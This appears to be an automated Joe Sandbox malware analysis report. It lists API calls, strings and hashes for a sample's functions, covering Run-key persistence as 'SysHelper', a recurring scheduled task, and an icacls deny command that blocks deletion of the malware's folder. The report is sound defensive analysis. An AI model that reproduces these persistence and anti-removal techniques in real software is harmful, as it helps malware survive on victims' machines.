Opcode Fuzzy Hash: 5d9ecf001ea84324b428ad64a28e691dac8f5ae3d075fdc637dce1af24dfd358
Instruction Fuzzy Hash: 231177729811687BD720D7A5EC8DDEB7B6CDF59761F4000A1F549E7040DA709F948BB0

Function 002E120E Relevance: 19.3, APIs: 8, Strings: 3, Instructions: 93librarymemoryloaderCOMMON

Download Yara Rule

APIs

GetModuleHandleA.KERNEL32(ntdll.dll,ZwQuerySystemInformation,00000104,?,?,?,?,002E1400), ref: 002E1226
GetProcAddress.KERNEL32(00000000), ref: 002E122D
GetCurrentProcessId.KERNEL32(?,?,?,?,002E1400), ref: 002E123F
OpenProcess.KERNEL32(00000400,00000000,00000000,?,?,?,?,002E1400), ref: 002E1250
VirtualFree.KERNEL32(00000000,00000000,00008000,?,C:\Users\user\AppData\Local\Temp\lgYdZ.exe,?,?,?,?,002E1400), ref: 002E129E
VirtualAlloc.KERNEL32(00000000,00050000,00003000,00000004,00000001,?,C:\Users\user\AppData\Local\Temp\lgYdZ.exe,?,?,?,?,002E1400), ref: 002E12B0
CloseHandle.KERNEL32(?,?,C:\Users\user\AppData\Local\Temp\lgYdZ.exe,?,?,?,?,002E1400), ref: 002E12F5
VirtualFree.KERNEL32(00000000,00000000,00008000,?,?,?,002E1400), ref: 002E130A

Strings

ZwQuerySystemInformation, xrefs: 002E1212
C:\Users\user\AppData\Local\Temp\lgYdZ.exe, xrefs: 002E1262
ntdll.dll, xrefs: 002E1219

Memory Dump Source

Source File: 00000001.00000002.1586622280.00000000002E1000.00000020.00000001.01000000.00000004.sdmp, Offset: 002E0000, based on PE: true

Associated: 00000001.00000002.1586600309.00000000002E0000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.1586642878.00000000002E3000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.1586667526.00000000002E4000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.1586690211.00000000002E6000.00000040.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_2e0000_lgYdZ.jbxd

Similarity

API ID: Virtual$FreeHandleProcess$AddressAllocCloseCurrentModuleOpenProc
String ID: C:\Users\user\AppData\Local\Temp\lgYdZ.exe$ZwQuerySystemInformation$ntdll.dll
API String ID: 1500695312-2039067668
Opcode ID: 0c3bb21af2567f5ae50bb2679c03b115692c6ad25bdcc9683f79d7643518abe0
Instruction ID: fc16261d58662300ce73b9f1234992733f52faca4841470f7fc3098aab82fcc6
Opcode Fuzzy Hash: 0c3bb21af2567f5ae50bb2679c03b115692c6ad25bdcc9683f79d7643518abe0
Instruction Fuzzy Hash: FB21FC316953A2ABD720DF56DC4CB6F7B98FB45B01F800928FA45DB140C770DA60C7A5

Function 002E189D Relevance: 12.3, APIs: 6, Strings: 1, Instructions: 51processsynchronizationCOMMON

Download Yara Rule

APIs

memset.MSVCRT ref: 002E18B1
CreateProcessA.KERNEL32(00000000,?,00000000,00000000,00000001,0C000000,00000000,00000000,?,?,000007D0,75570F00,76C08400), ref: 002E18D3
CloseHandle.KERNEL32(I%.), ref: 002E18E9
WaitForSingleObject.KERNEL32(?,000000FF), ref: 002E18F0
GetExitCodeProcess.KERNEL32(?,?), ref: 002E1901
CloseHandle.KERNEL32(?), ref: 002E190A

Strings

I%., xrefs: 002E18E0

Memory Dump Source

Source File: 00000001.00000002.1586622280.00000000002E1000.00000020.00000001.01000000.00000004.sdmp, Offset: 002E0000, based on PE: true

Associated: 00000001.00000002.1586600309.00000000002E0000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.1586642878.00000000002E3000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.1586667526.00000000002E4000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.1586690211.00000000002E6000.00000040.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_2e0000_lgYdZ.jbxd

Similarity

API ID: CloseHandleProcess$CodeCreateExitObjectSingleWaitmemset
String ID: I%.
API String ID: 876959470-3023024757
Opcode ID: 37e2f6f478998c953dd89aea7e5bdf0a18ce308bd28c24f59820e54eafc8cb2b
Instruction ID: a72c4a07d29a7860376993fa7b402165a17ed589b5dd71c7009c26700834da82
Opcode Fuzzy Hash: 37e2f6f478998c953dd89aea7e5bdf0a18ce308bd28c24f59820e54eafc8cb2b
Instruction Fuzzy Hash: 8C017172941168BBCB21AB96EC4CDEF7F3DEF85731F104021F915A61A0D6714A28CAA0

Function 002E2692 Relevance: 12.1, APIs: 8, Instructions: 64stringsynchronizationCOMMON

Download Yara Rule

APIs

CreateEventA.KERNEL32(00000000,00000000,00000001,00000000,7556E800,?,?,002E29DB,?,00000001), ref: 002E26A7
WaitForSingleObject.KERNEL32(00000000,000000FF,7556E800,?,?,002E29DB,?,00000001), ref: 002E26B5
lstrlen.KERNEL32(?), ref: 002E26C4
??2@YAPAXI@Z.MSVCRT ref: 002E26CE
lstrcpy.KERNEL32(00000004,?), ref: 002E26E3
lstrcpy.KERNEL32(?,00000004), ref: 002E271F
??3@YAXPAX@Z.MSVCRT ref: 002E272D
SetEvent.KERNEL32 ref: 002E273C

Memory Dump Source

Source File: 00000001.00000002.1586622280.00000000002E1000.00000020.00000001.01000000.00000004.sdmp, Offset: 002E0000, based on PE: true

Associated: 00000001.00000002.1586600309.00000000002E0000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.1586642878.00000000002E3000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.1586667526.00000000002E4000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.1586690211.00000000002E6000.00000040.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_2e0000_lgYdZ.jbxd

Similarity

API ID: Eventlstrcpy$??2@??3@CreateObjectSingleWaitlstrlen
String ID:
API String ID: 41106472-0
Opcode ID: 895583e0a239dec2fb5ebaef432e54250d43a4a35725ec60e6f73cda21e2b669
Instruction ID: 001b4f7a242a5c5cca68c2588db2de7185ad142f87ddd89a65146c9ef7fd774e
Opcode Fuzzy Hash: 895583e0a239dec2fb5ebaef432e54250d43a4a35725ec60e6f73cda21e2b669
Instruction Fuzzy Hash: 37118E355D0290EFCB21EF16FD8C86ABBAEFB847217944016F8568B120D7708999DB90

Function 002E1B8A Relevance: 10.6, APIs: 5, Strings: 2, Instructions: 81stringCOMMON

Download Yara Rule

APIs

srand.MSVCRT ref: 002E1BCD
rand.MSVCRT ref: 002E1BD8
memset.MSVCRT ref: 002E1C43
memcpy.MSVCRT ref: 002E1C4F
lstrcat.KERNEL32(?,.exe), ref: 002E1C5D

Strings

.exe, xrefs: 002E1C57
FUrcAwyWjjhCKckGvEFKIPmpazsWItoRSQhqpnCclRMMSZPmVYjMUNgOfXPJhqrLXEykxfHgSIKYAuumeZoTNQTTbBOeXpGLVOCxnuEdiAlgZetDHqdiiDbvJFzbVwULJYotrWdlyvBDsQxkNnRHasaBfGzw, xrefs: 002E1B8A, 002E1B9C, 002E1C15, 002E1C49

Memory Dump Source

Source File: 00000001.00000002.1586622280.00000000002E1000.00000020.00000001.01000000.00000004.sdmp, Offset: 002E0000, based on PE: true

Associated: 00000001.00000002.1586600309.00000000002E0000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.1586642878.00000000002E3000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.1586667526.00000000002E4000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.1586690211.00000000002E6000.00000040.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_2e0000_lgYdZ.jbxd

Similarity

API ID: lstrcatmemcpymemsetrandsrand
String ID: .exe$FUrcAwyWjjhCKckGvEFKIPmpazsWItoRSQhqpnCclRMMSZPmVYjMUNgOfXPJhqrLXEykxfHgSIKYAuumeZoTNQTTbBOeXpGLVOCxnuEdiAlgZetDHqdiiDbvJFzbVwULJYotrWdlyvBDsQxkNnRHasaBfGzw
API String ID: 122620767-2390721571
Opcode ID: acfe065b870448f8c8feb6e9b52e4d3b44342a2588b9bc052c9afb98e43887a4
Instruction ID: 4f23db6771cd335bd05569546cc916a990153ad2251aab062ef343456a6add7f
Opcode Fuzzy Hash: acfe065b870448f8c8feb6e9b52e4d3b44342a2588b9bc052c9afb98e43887a4
Instruction Fuzzy Hash: 3D219B32ED41D06ED6156337BC88B693B049FA3721FA600AFF4954F192D17409B58261

Function 002E1319 Relevance: 8.8, APIs: 3, Strings: 2, Instructions: 53libraryloaderCOMMON

Download Yara Rule

APIs

GetModuleHandleA.KERNEL32(ntdll.dll,NtSystemDebugControl,-00000094,-00000094,0000000C,0000000C,00000001), ref: 002E1334
GetProcAddress.KERNEL32(00000000), ref: 002E133B
memset.MSVCRT ref: 002E1359

Strings

NtSystemDebugControl, xrefs: 002E132A
ntdll.dll, xrefs: 002E132F

Memory Dump Source

Source File: 00000001.00000002.1586622280.00000000002E1000.00000020.00000001.01000000.00000004.sdmp, Offset: 002E0000, based on PE: true

Associated: 00000001.00000002.1586600309.00000000002E0000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.1586642878.00000000002E3000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.1586667526.00000000002E4000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.1586690211.00000000002E6000.00000040.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_2e0000_lgYdZ.jbxd

Similarity

API ID: AddressHandleModuleProcmemset
String ID: NtSystemDebugControl$ntdll.dll
API String ID: 3137504439-2438149413
Opcode ID: 79a57765a11f6c61d5bc7f1920ac28f13fea82bca33b7d953a87cb4f8b22079e
Instruction ID: 2e2a9d25d77c1d67c7340dbe6a1530dbe084730e7d0b7a42745a69107a4c6d9e
Opcode Fuzzy Hash: 79a57765a11f6c61d5bc7f1920ac28f13fea82bca33b7d953a87cb4f8b22079e
Instruction Fuzzy Hash: DF01AD7169038AEFDB10DF96ECC996FBBA8FB01305F4001BAF901A6141E2708624CA50

Function 002E1DF6 Relevance: 7.5, APIs: 5, Instructions: 45stringCOMMON

Download Yara Rule

APIs

strrchr.MSVCRT ref: 002E1E0B
lstrcpy.KERNEL32(?,00000001), ref: 002E1E1C
strrchr.MSVCRT ref: 002E1E2B
lstrcmpiA.KERNEL32(?,002E4488), ref: 002E1E48
lstrlen.KERNEL32(002E4488), ref: 002E1E53

Memory Dump Source

Source File: 00000001.00000002.1586622280.00000000002E1000.00000020.00000001.01000000.00000004.sdmp, Offset: 002E0000, based on PE: true

Associated: 00000001.00000002.1586600309.00000000002E0000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.1586642878.00000000002E3000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.1586667526.00000000002E4000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.1586690211.00000000002E6000.00000040.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_2e0000_lgYdZ.jbxd

Similarity

API ID: strrchr$lstrcmpilstrcpylstrlen
String ID:
API String ID: 3636361484-0
Opcode ID: 7f7229171cefba382cce09cb884d4cb43242d26e3c174d16c88fb35c504a7927
Instruction ID: 891672798fd646aecf48b04cfa66a4eacc2ab9ac84438abad62f0ba58e47ec70
Opcode Fuzzy Hash: 7f7229171cefba382cce09cb884d4cb43242d26e3c174d16c88fb35c504a7927
Instruction Fuzzy Hash: B2014E72D542966FDF109B20FC4CBD637DCDB04311F440075F941D3080D6709E948B90

Function 002E185B Relevance: 7.5, APIs: 5, Instructions: 31timeCOMMON

Download Yara Rule

APIs

GetSystemTimeAsFileTime.KERNEL32(002E1F92,00000000,?,00000000,?,?,?,002E1F92,?,00000000,00000002), ref: 002E1867
srand.MSVCRT ref: 002E1878
rand.MSVCRT ref: 002E1880
srand.MSVCRT ref: 002E1890
rand.MSVCRT ref: 002E1894

Memory Dump Source

Source File: 00000001.00000002.1586622280.00000000002E1000.00000020.00000001.01000000.00000004.sdmp, Offset: 002E0000, based on PE: true

Associated: 00000001.00000002.1586600309.00000000002E0000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.1586642878.00000000002E3000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.1586667526.00000000002E4000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.1586690211.00000000002E6000.00000040.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_2e0000_lgYdZ.jbxd

Similarity

API ID: Timerandsrand$FileSystem
String ID:
API String ID: 4106363736-0
Opcode ID: 30e257a63f1c0d032857531f3d3844abb6c536855ce504725fd3ad1a1602a108
Instruction ID: fda37c799b278621e4aa7091fe384622fe48df4c2db571a4ff5565606f09adb2
Opcode Fuzzy Hash: 30e257a63f1c0d032857531f3d3844abb6c536855ce504725fd3ad1a1602a108
Instruction Fuzzy Hash: 42E01277A10218BBD700E7AAFC8E99EBBACDE84162B110566F600D3254E574E9448AB4

Function 002E6014 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 36libraryloaderCOMMON

Download Yara Rule

APIs

GetModuleHandleA.KERNEL32(kernel32.dll), ref: 002E603C
GetProcAddress.KERNEL32(00000000,002E6064), ref: 002E604F

Strings

kernel32.dll, xrefs: 002E603B

Memory Dump Source

Source File: 00000001.00000002.1586690211.00000000002E6000.00000040.00000001.01000000.00000004.sdmp, Offset: 002E0000, based on PE: true

Associated: 00000001.00000002.1586600309.00000000002E0000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.1586622280.00000000002E1000.00000020.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.1586642878.00000000002E3000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.1586667526.00000000002E4000.00000004.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_2e0000_lgYdZ.jbxd

Similarity

API ID: AddressHandleModuleProc
String ID: kernel32.dll
API String ID: 1646373207-1793498882
Opcode ID: f2455373f0fd6f57f7889948f593117364b64d95423e41c5a1cecc58440c75ac
Instruction ID: fecb8b7fd6822446524a67e216b8273d35c9bc938991dff2b0a3aeb49d8843f7
Opcode Fuzzy Hash: f2455373f0fd6f57f7889948f593117364b64d95423e41c5a1cecc58440c75ac
Instruction Fuzzy Hash: 10F0C2B118029A8BDF708E65CC48BDE37E4EB15750F90042AE909CB681CB3486158B15

Analysis Process: FC0D639C0918938BDF00FA6F1DC4BC03002C328428FC34A34B050AEE8E3BEB8C.exePID: 7552, Parent PID: 7328COMMON

Execution Graph

Execution Coverage:	2%
Dynamic/Decrypted Code Coverage:	0%
Signature Coverage:	34%
Total number of Nodes:	805
Total number of Limit Nodes:	91

Executed Functions

Function 00419F90 Relevance: 176.6, APIs: 65, Strings: 35, Instructions: 1565COMMON

Download Yara Rule

APIs

Part of subcall function 0040CF10: _memset.LIBCMT ref: 0040CF4A
Part of subcall function 0040CF10: InternetOpenW.WININET(Microsoft Internet Explorer,00000000,00000000,00000000,00000000), ref: 0040CF5F
Part of subcall function 0040CF10: InternetOpenUrlW.WININET(00000000,?,00000000,00000000,00000000,00000000), ref: 0040CFA6

GetCurrentProcess.KERNEL32 ref: 00419FC4
GetLastError.KERNEL32 ref: 00419FD2
SetPriorityClass.KERNEL32(00000000,00000080), ref: 00419FDA
GetLastError.KERNEL32 ref: 00419FE4
GetModuleFileNameW.KERNEL32(00000000,?,00000400,00000400,?,?,00000000,006EAFD0,?), ref: 0041A0BB
PathRemoveFileSpecW.SHLWAPI(?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?), ref: 0041A0C2
GetCommandLineW.KERNEL32(?,?), ref: 0041A161

Part of subcall function 004124E0: CreateMutexA.KERNEL32(00000000,00000000,{1D6FC66E-D1F3-422C-8A53-C0BBCF3D900D}), ref: 004124FE
Part of subcall function 004124E0: GetLastError.KERNEL32 ref: 00412509
Part of subcall function 004124E0: CloseHandle.KERNEL32 ref: 0041251C

Strings

C:\Program Files\Google\, xrefs: 0041AFB9
IsNotAutoStart, xrefs: 0041A645
D:\Program Files (x86)\Internet Explorer\, xrefs: 0041B062
IsTask, xrefs: 0041A1EE, 0041A299
C:\Program Files (x86)\Internet Explorer\, xrefs: 0041AEA1
--Admin, xrefs: 0041A1B4, 0041A632
C:\Program Files (x86)\Mozilla Firefox\, xrefs: 0041AE5B
F:\, xrefs: 0041B397
IsNotTask, xrefs: 0041A654
--AutoStart, xrefs: 0041A2EC
x*P, xrefs: 0041ACE4
%username%, xrefs: 0041B283
D:\Program Files\Google\, xrefs: 0041B0EE
--Service, xrefs: 0041A30B
D:\Windows\, xrefs: 0041AFF3
C:\Program Files (x86)\Google\, xrefs: 0041AEE7
list<T> too long, xrefs: 0041B669, 0041B673
X1P, xrefs: 0041A485
--ForNetRes, xrefs: 0041A22E
IsAutoStart, xrefs: 0041A1D0, 0041A273
D:\Program Files (x86)\Mozilla Firefox\, xrefs: 0041B02E
I:\5d2860c89d774.jpg, xrefs: 0041B32F
--Task, xrefs: 0041A2CD
D:\Program Files (x86)\Google\, xrefs: 0041B085
<, xrefs: 0041A67B
x2Q, xrefs: 0041A856
C:\Windows\, xrefs: 0041AE0F
D:\Program Files\Mozilla Firefox\, xrefs: 0041B0A8
C:\Program Files\Internet Explorer\, xrefs: 0041AF73
7P, xrefs: 0041B164
{FBB4BCC6-05C7-4ADD-B67B-A98A697323C1}, xrefs: 0041A8B6
C:\Program Files\Mozilla Firefox\, xrefs: 0041AF2D
{1D6FC66E-D1F3-422C-8A53-C0BBCF3D900D}, xrefs: 0041A8A0
D:\Program Files\Internet Explorer\, xrefs: 0041B0CB
runas, xrefs: 0041A6CE

Memory Dump Source

Source File: 00000004.00000002.1457403604.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000004.00000002.1457403604.0000000000529000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.1457403604.000000000052B000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_400000_FC0D639C0918938BDF00FA6F1DC4BC03002C328428FC34A34B050AEE8E3BEB8C.jbxd

Yara matches

Similarity

API ID: ErrorLast$FileInternetOpen$ClassCloseCommandCreateCurrentHandleLineModuleMutexNamePathPriorityProcessRemoveSpec_memset
String ID: IsNotAutoStart$ IsNotTask$%username%$--Admin$--AutoStart$--ForNetRes$--Service$--Task$<$C:\Program Files (x86)\Google\$C:\Program Files (x86)\Internet Explorer\$C:\Program Files (x86)\Mozilla Firefox\$C:\Program Files\Google\$C:\Program Files\Internet Explorer\$C:\Program Files\Mozilla Firefox\$C:\Windows\$D:\Program Files (x86)\Google\$D:\Program Files (x86)\Internet Explorer\$D:\Program Files (x86)\Mozilla Firefox\$D:\Program Files\Google\$D:\Program Files\Internet Explorer\$D:\Program Files\Mozilla Firefox\$D:\Windows\$F:\$I:\5d2860c89d774.jpg$IsAutoStart$IsTask$X1P$list<T> too long$runas$x*P$x2Q${1D6FC66E-D1F3-422C-8A53-C0BBCF3D900D}${FBB4BCC6-05C7-4ADD-B67B-A98A697323C1}$7P
API String ID: 2957410896-3144399390
Opcode ID: d015b84eba4a4434be79b711f18dbc426407edb0061b691a0cb40fbdcb0bdc00
Instruction ID: ef0c4ad91a93ebed44a25fa424fadbe3f4bc75453965ff7ad5f6b92dd0de7051
Opcode Fuzzy Hash: d015b84eba4a4434be79b711f18dbc426407edb0061b691a0cb40fbdcb0bdc00
Instruction Fuzzy Hash: 99D2F670604341ABD710EF21D895BDF77E5BF94308F00492EF48587291EB78AA99CB9B

Function 0040D240 Relevance: 58.5, APIs: 25, Strings: 8, Instructions: 702
comCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

CoInitialize.OLE32(00000000), ref: 0040D26C
CoInitializeSecurity.OLE32(00000000,000000FF,00000000,00000000,00000006,00000003,00000000,00000000,00000000), ref: 0040D28F
CoCreateInstance.OLE32(004D506C,00000000,00000001,004D4FEC,?,?,00000000,000000FF), ref: 0040D2D5
VariantInit.OLEAUT32(?), ref: 0040D2F0
VariantInit.OLEAUT32(?), ref: 0040D309
VariantInit.OLEAUT32(?), ref: 0040D322
VariantInit.OLEAUT32(?), ref: 0040D33B
VariantClear.OLEAUT32(?), ref: 0040D397
VariantClear.OLEAUT32(?), ref: 0040D3A4
VariantClear.OLEAUT32(?), ref: 0040D3B1
VariantClear.OLEAUT32(?), ref: 0040D3C2
CoUninitialize.OLE32 ref: 0040D3D5

Strings

RegisterTaskDefinition. Err: %X, xrefs: 0040DA11
2030-05-02T08:00:00, xrefs: 0040D737
Trigger1, xrefs: 0040D6FA
%Y-%m-%dT%H:%M:%S, xrefs: 0040D790
PT5M, xrefs: 0040D5A1, 0040D66C
Author Name, xrefs: 0040D4C8
Time Trigger Task, xrefs: 0040D43C, 0040D973
--Task, xrefs: 0040D8DD

Memory Dump Source

Source File: 00000004.00000002.1457403604.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000004.00000002.1457403604.0000000000529000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.1457403604.000000000052B000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_400000_FC0D639C0918938BDF00FA6F1DC4BC03002C328428FC34A34B050AEE8E3BEB8C.jbxd

Yara matches

Similarity

API ID: Variant$ClearInit$Initialize$CreateInstanceSecurityUninitialize
String ID: %Y-%m-%dT%H:%M:%S$--Task$2030-05-02T08:00:00$Author Name$PT5M$RegisterTaskDefinition. Err: %X$Time Trigger Task$Trigger1
API String ID: 2496729271-1738591096
Opcode ID: e85d920e4c80818efeaee1da1ba528809e92032e84bc46f79e75b20126437919
Instruction ID: 4ad9c2e8017b41c765d67f99bb49247a0c13fc41f24acee5688789d455a97b09
Opcode Fuzzy Hash: e85d920e4c80818efeaee1da1ba528809e92032e84bc46f79e75b20126437919
Instruction Fuzzy Hash: 05526F70E00219DFDB10DFA8C858FAEBBB4EF49304F1481A9E505BB291DB74AD49CB95

Function 00411CD0 Relevance: 79.1, APIs: 36, Strings: 9, Instructions: 382
stringregistrylibraryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

RegOpenKeyExW.KERNEL32(80000001,Software\Microsoft\Windows\CurrentVersion\Run,00000000,000F003F,?,?,?,?,?,?,004CAC68,000000FF), ref: 00411D12
_memset.LIBCMT ref: 00411D3B
RegQueryValueExW.KERNEL32(?,SysHelper,00000000,?,?,00000400), ref: 00411D63
RegCloseKey.ADVAPI32(?,?,?,?,?,?,?,?,?,?,?,?,?,?,004CAC68,000000FF), ref: 00411D6C
lstrlenA.KERNEL32(" --AutoStart,?,?), ref: 00411DD6
PathFileExistsW.SHLWAPI(?,?,?,?,?,?,?,?,?,?,?,?,?,00000001,-00000001), ref: 00411E48
LoadLibraryW.KERNEL32(Shell32.dll,?,?), ref: 00411E99
GetProcAddress.KERNEL32(00000000,SHGetFolderPathW), ref: 00411EA5
GetCommandLineW.KERNEL32 ref: 00411EB4
CommandLineToArgvW.SHELL32(00000000,00000000), ref: 00411EBF
lstrcpyW.KERNEL32(?,00000000), ref: 00411ECE
PathFindFileNameW.SHLWAPI(?), ref: 00411EDB
UuidCreate.RPCRT4(?), ref: 00411EFC
UuidToStringW.RPCRT4(?,?), ref: 00411F14
RpcStringFreeW.RPCRT4(00000000), ref: 00411F64
PathAppendW.SHLWAPI(?,?), ref: 00411F83
CreateDirectoryW.KERNEL32(?,00000000), ref: 00411F8E
PathAppendW.SHLWAPI(?,?,?,?), ref: 0041202D
DeleteFileW.KERNEL32(?), ref: 00412036
CopyFileW.KERNEL32(?,?,00000000), ref: 0041204C
RegOpenKeyExW.KERNEL32(80000001,Software\Microsoft\Windows\CurrentVersion\Run,00000000,000F003F,?), ref: 0041206E
_memset.LIBCMT ref: 00412090
lstrcpyW.KERNEL32(?,005002FC), ref: 004120AA
lstrcatW.KERNEL32(?,?), ref: 004120C0
lstrcatW.KERNEL32(?," --AutoStart), ref: 004120CE
lstrlenW.KERNEL32(?), ref: 004120D7
RegSetValueExW.KERNEL32(00000000,SysHelper,00000000,00000002,?,00000000), ref: 004120F3
RegCloseKey.ADVAPI32(00000000), ref: 004120FC
_memset.LIBCMT ref: 00412120
SetLastError.KERNEL32(00000000), ref: 00412146
lstrcpyW.KERNEL32(?,icacls "), ref: 00412158
lstrcatW.KERNEL32(?,?), ref: 0041216D

Strings

SysHelper, xrefs: 00411D5B, 004120EB
" --AutoStart, xrefs: 004120C2
D, xrefs: 00412128
" /deny *S-1-1-0:(OI)(CI)(DE,DC), xrefs: 0041216F
" --AutoStart, xrefs: 00411DD1
Shell32.dll, xrefs: 00411E94
icacls ", xrefs: 0041214C
SHGetFolderPathW, xrefs: 00411E9F
Software\Microsoft\Windows\CurrentVersion\Run, xrefs: 00411D06, 00412064

Memory Dump Source

Source File: 00000004.00000002.1457403604.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000004.00000002.1457403604.0000000000529000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.1457403604.000000000052B000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_400000_FC0D639C0918938BDF00FA6F1DC4BC03002C328428FC34A34B050AEE8E3BEB8C.jbxd

Yara matches

Similarity

API ID: FilePath$_memsetlstrcatlstrcpy$AppendCloseCommandCreateLineOpenStringUuidValuelstrlen$AddressArgvCopyDeleteDirectoryErrorExistsFindFreeLastLibraryLoadNameProcQuery
String ID: " --AutoStart$" --AutoStart$" /deny *S-1-1-0:(OI)(CI)(DE,DC)$D$SHGetFolderPathW$Shell32.dll$Software\Microsoft\Windows\CurrentVersion\Run$SysHelper$icacls "
API String ID: 2589766509-1182136429
Opcode ID: dedb8dcdcede06716d2048126f6c935cbca30f7ec4e51b62ea2b6cedae773fd8
Instruction ID: 715e32bd1e023583792331b7dbf49be96a7b9f80df69a50876529e1503cb0a0b
Opcode Fuzzy Hash: dedb8dcdcede06716d2048126f6c935cbca30f7ec4e51b62ea2b6cedae773fd8
Instruction Fuzzy Hash: 51E14171D00219EBDF24DBA0DD89FEE77B8BF04304F14416AE609E6191EB786A85CF58

Function 00412220 Relevance: 36.9, APIs: 16, Strings: 5, Instructions: 116
libraryloaderCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetCommandLineW.KERNEL32 ref: 00412235
CommandLineToArgvW.SHELL32(00000000,?), ref: 00412240
PathFindFileNameW.SHLWAPI(00000000), ref: 00412248
LoadLibraryW.KERNEL32(kernel32.dll), ref: 00412256
GetProcAddress.KERNEL32(00000000,EnumProcesses), ref: 0041226A
GetProcAddress.KERNEL32(00000000,EnumProcessModules), ref: 00412275
GetProcAddress.KERNEL32(00000000,GetModuleBaseNameW), ref: 00412280
LoadLibraryW.KERNEL32(Psapi.dll), ref: 00412291
GetProcAddress.KERNEL32(00000000,EnumProcesses), ref: 0041229F
GetProcAddress.KERNEL32(00000000,EnumProcessModules), ref: 004122AA
GetProcAddress.KERNEL32(00000000,GetModuleBaseNameW), ref: 004122B5
K32EnumProcesses.KERNEL32(?,0000A000,?), ref: 004122CD
OpenProcess.KERNEL32(00000410,00000000,?), ref: 004122FE
K32EnumProcessModules.KERNEL32(00000000,?,00000004,?), ref: 00412315
K32GetModuleBaseNameW.KERNEL32(00000000,?,?,00000400), ref: 0041232C
CloseHandle.KERNEL32(00000000), ref: 00412347

Strings

EnumProcessModules, xrefs: 0041226C, 004122A1
GetModuleBaseNameW, xrefs: 00412277, 004122AC
EnumProcesses, xrefs: 00412264, 00412299
Psapi.dll, xrefs: 0041228C
kernel32.dll, xrefs: 0041224E

Memory Dump Source

Source File: 00000004.00000002.1457403604.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000004.00000002.1457403604.0000000000529000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.1457403604.000000000052B000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_400000_FC0D639C0918938BDF00FA6F1DC4BC03002C328428FC34A34B050AEE8E3BEB8C.jbxd

Yara matches

Similarity

API ID: AddressProc$CommandEnumLibraryLineLoadNameProcess$ArgvBaseCloseFileFindHandleModuleModulesOpenPathProcesses
String ID: EnumProcessModules$EnumProcesses$GetModuleBaseNameW$Psapi.dll$kernel32.dll
API String ID: 3668891214-3807497772
Opcode ID: 2e762e749b316a475bae0755eecf3fc9a9c12245de4757d4cc138c5fb7e97d1c
Instruction ID: 197cd9f83d52dd112842658ec983a676e251e24b3cd7e802a51fbc3a937a58d5
Opcode Fuzzy Hash: 2e762e749b316a475bae0755eecf3fc9a9c12245de4757d4cc138c5fb7e97d1c
Instruction Fuzzy Hash: A3315371E0021DAFDB11AFE5DC45EEEBBB8FF45704F04406AF904E2190DA749A418FA5

Function 0040CF10 Relevance: 16.0, APIs: 6, Strings: 3, Instructions: 228
networkfileCOMMON

Download Yara Rule

Control-flow Graph

